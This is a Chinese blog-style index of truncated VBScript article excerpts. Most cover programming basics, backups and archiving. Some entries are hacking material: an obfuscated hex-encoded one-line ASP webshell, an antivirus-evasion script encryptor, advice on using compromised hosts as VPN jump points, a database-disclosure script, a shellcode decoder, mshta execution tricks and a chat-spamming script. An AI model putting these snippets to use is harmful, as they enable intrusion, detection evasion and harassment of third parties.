VBS基础编程教程 （第5篇）

2017年02月06日 84 阅读

第五篇（共六篇）： 请允许我县描述一下我现在的环境:气温高达37摄氏度,而我忘记了图书馆开门的时间,还要在这里站上一个小时,在热带植物的包裹下,各种奇怪的小飞虫围着我转来转去.不过令我欣慰的是,终于写到五了,还有两课我们的"基础篇"就要结束了. 今天我们来了解语言本身的最后一个论题:数组. 要理解"数组",这个概念我觉得另一种翻译对学习来说更加容易:"阵列",没错,数组就是一个阵列,一个数据的阵列.最简单的例子是数据库系统,假设你要储存20名学生的英语...

VBS基础编程教程 （第6篇）

2017年02月06日 69 阅读

最后一篇： 新家不错,MM开心,我也就跟着高兴了:）,今天我们学习基础篇的最后一个部分:自定义函数和过程.我们每天都在和函 数打交道,inputbox（）是函数,msgbox（）是函数,int（）也是函数...这些函数都是系统内建的,我们只能用不能改.今天,我 就教大家怎样自己制作一个函数. 首先我们要了解,为什么要用函数,我们用"实例"说话,先看一个例子:给出两个数,输出较大的那一个. dima1,a2,b1,b2,c1,c2 a1=2:a2=4""...

利用vbscript的for命令实现定时关机

2017年02月06日 86 阅读

以下语句实现每个星期的每一天指定时间关机 如果要换成每个月的某几天，请改字母为数字，并用逗号分隔 以下代码没有错误检测语句，输入时间的时候务必按照指定格式输入 可以用在CMD窗口用at命令来查看计划任务复制代码 代码如下:ifnot"%times%"==""for%%iin（%times%）do（ at%%i/every:M,T,W,Th,F,S,Sushutdown-s ）...

在桌面右下角出现温馨提示的vbs冒泡程序

2017年02月06日 70 阅读

这个功能的原理呢，就是用vbs生成exe文件，然后运行，只不过这个exe比较小，不用两个文件了，一个vbs即可实现vbs冒泡效果复制代码 代码如下: Data="4D5A00000000000000000000504500004C010200534C58210000000000000000E0000F010B01000000000000000600000000000054010000001000000C000000000040000010000000020...

利用VBS发送邮件 挑选速度快的肉鸡做VPN 的vbs代码第1/2页

2017年02月06日 78 阅读

一．挑选速度快的肉鸡做VPN。 当自己从小菜鸟转型为老菜鸟时，就懂得考虑在玩Hacking的同时也要尽量保证不暴露 自己。万事，安全第一嘛！不然都不知道哪天玩着玩着就被警察叔叔带去喝茶了^_^。 因此，作为老菜鸟的我们，要学会在Hacking时，多用VPN+终端等跳板措施来保护自己，尽量不让自己直接暴露所处地。 但是，由于跳板的增加，导致了数据传输的缓慢。因此我们完全有必要找网速快的机器来做VPN跳板。但如果让自己做这些重复性的操作（从众多的肉鸡中挑选网速...

vbs教程 chm下载

2017年02月06日 93 阅读

VBSCRIPT 学习必备速查手册（CHM版） 这个速查手册对从事ASP编程朋友来说绝对有用，而且用起来很方便，如果有什么函数忘记用法了，用这个手册可以快速方便的查询到。而且它是微软官方比较权威的。 最全面的vbscript速查手册大全最全面的vbscript速查手册大全,asp函数查找就方便多了微软官方的Vbscript参考手册VBScript VBScipt 使用手册 VBScript 语言参考 FileSystemObject 基础教程 脚本运行时参...

用vbs实现的简单的服务器文件备份办法压缩文件名自动按日期命名

2017年02月06日 77 阅读

简单的服务器文件备份办法压缩文件名自动按日期命名 dimFileName,WshShell,fs,MyCommandFileName=cstr（now）+".RAR" MyCommand="rara"+FileName+"要压缩的文件名或目录名" SetWshShell=WScript.CreateObject（"WScript.Shell"） Setfs=CreateObject（"Scripting.FileSystemObject"） iffs.fi...

输入mdb数据库即可将打包的mdb文件解包

2017年02月06日 77 阅读

好多直接在服务器上将所有文件包括程序，图片等文件封装到mdb，就需要下面这个文件了Dimrs,ws,fso,conn,stream,connStr,theFolder Setrs=CreateObject（"ADODB.RecordSet"） Setstream=CreateObject（"ADODB.Stream"） Setconn=CreateObject（"ADODB.Connection"） Setfso=CreateObject（"Scripti...

VBS编程教程第一部

2017年02月06日 72 阅读

发现大部分黑白的朋友都不会编程,这可不是件好事,所以这次我就写了一个简单的编程教程,讲一下VBScript.主要面向菜鸟,懂得编程的朋友就不要浪费时间了,如果你想接触以下VBScript也可以,但既然有编程基础推荐直接去找一些参考书来读,会比较快. 什么是VBScript呢？VBScript的全称是:MicrosoftVisualBasicScriptEditon.（微软公司可视化BASIC脚本版）.正如其字面所透露的信息,VBS（VBScript的进一步...

vbs脚本 加密 几个小细节小结下

2017年02月06日 96 阅读

复制代码 代码如下:dxy: 你好！ 我学vbs也有一小段时间了,最近看到一本书上讲vbs脚本的加密,就自己试了试,可是有一点问题,低级的语法错误我都自己修正了,可脚本运行后不起作用.所以想请教你一下.脚本的原理是这样的:它把代码转换成16进制,然后再写个解密代码,通过这个解密来执行加密的代码,将字符串成16进制的代码如下: Functionstr2hex（ByvalstrHex） Fori=1toLen（strHex） sHex=sHex&Hex（Asc...

VBS脚本加密/解密VBS脚本（简易免杀版1.1）

2017年02月06日 108 阅读

DimWshSHell,FSO OnErrorResumeNext SetWshSHell=WScript.CreateObject（"WScript.Shell"） SetFSO=CreateObject（"Scripting.FileSystemObject"） SetArgs=WScript.Arguments Ver="1.1" CloseTime=5 FileName=WScript.ScriptName FileFullName=WScript...

刷QQ群的VBS脚本

2017年02月06日 77 阅读

使用方法：讲以下代码保存为QQ.vbs,然后复制你要发送的东西，双击QQ.vbs就可以自动刷屏拉！ 注意：本代码仅作为技术研究之用，请勿非法使用！ SetWshShell=WScript.CreateObject（"WScript.Shell"） WshShell.AppActivate"群－交流群" fori=1to10‘要发送的次数 WScript.Sleep500 WshShell.SendKeys"^v" WshShell.SendKeysi Ws...

vbs屏蔽键盘按键

2017年02月06日 107 阅读

复制代码 代码如下:"codeBY伤脑筋www.ntbak.cn www.jb51.net"copytofilename.vbs dimnum,var,fso,wsh,pathname num="A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,"+_ "V,W,X,Y,Z,0,1,2,3,4,5,6,7,8,9,F1,F2,F3,F4,F5,F6,"+_ "F7,F8,F9,F10,F11,F12" var=Split（...

alpha2 shellcode解密的vbs脚本

2017年02月06日 85 阅读

复制代码 代码如下:DimenTmp,enstr,a,bb enstr=Str2Hex（"RHptd4RPFZVOdoVQTrvWTnTp4n6PVN6QTop1tnau1hsU"） Fori=1ToLen（enStr）step6 enTmp=Array（Mid（enStr,i,6）&"00"） sz=Split（enTmp（0）,",",-1,1） a=right（sz（0）,1）Xorleft（sz（1）,1） bb=bb&a&right（sz（1）,...

用vbs实现zip功能的脚本

2017年02月06日 86 阅读

压缩： FunctionfZip（sSourceFolder,sTargetZIPFile） "ThisfunctionwilladdallofthefilesinasourcefoldertoaZIPfile "usingWindows"nativefolderZIPcapability. DimoShellApp,oFSO,iErr,sErrSource,sErrDescription SetoShellApp=CreateObject（"Shell....

非常棒的lcx写的非常规运行vbs

2017年02月06日 87 阅读

这个组件在xp、2003上默认都可以用的，调用后可以听到电脑上一个国外老男人在说话。好比这样一句代码：●CreateObject（"SAPI.SpVoice"）.Speak"ILOVEYOU"●，保存成vbs后缀后双击就会听到英语的我爱你了。但随之而来我们讲到另一个问题，不保存成vbs或vbe后缀如何运行vbs代码。 一、用mshta来运行vbs hta这种类型的文件运行后也是系统权限，其调用宿主就是mshta.exe。我们在cmd下运行这样一行代码：●m...

N年前的两个脚本%5c暴库

2017年02月06日 61 阅读

DimxStatus,tStatus,vServer,vHeader,vRsBody GetError=InputBox（"请输入网站,例如:http://www.hackerxfiles.com/files/list.asp？id=415","请输入网址","http://www.hackerxfiles.com/files/list.asp？id=415"） IfGetError=""Then MsgBox（"输入错误，程序结束！"） WScript....

vbs算命测试一下你上辈子是男是女

2017年02月06日 71 阅读

复制代码 代码如下:DimMyValue,Response,data,thisd data="30007|22899|22934" thisd=Split（data,"|",-1,1） Randomize"初始化随机数生成器。 DoUntilResponse=vbyes MyValue=Int（（3*Rnd）+1）"产生1到3之间的随机数。 result="&#"&thisd（MyValue-1） Ifresult="妖"Thenresult=...

vbs版的解密base64加密的脚本

2017年02月06日 99 阅读

复制代码 代码如下:FunctionfDecode（sStringToDecode） "ThisfunctionwilldecodeaBase64encodedstringandreturnsthedecodedstring. "Thisbecomesusefullwhenattemptingtohidepasswordsfrompryingeyes. ConstCharList="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijk...

更牛的一句话asp木马加密（去掉asp里的%）

2017年02月06日 71 阅读

不知道怎样表达清楚。看例子吧：复制代码 代码如下:<scriptlanguage=vbsrunat=server> Execute（HextoStr（"65786563757465287265717565737428636872283335292929"）） FunctionHextoStr（data） HextoStr="EXECUTE""""" C="&CHR（&H" N="）" DoWhileLen（data）>1 IfIsNume...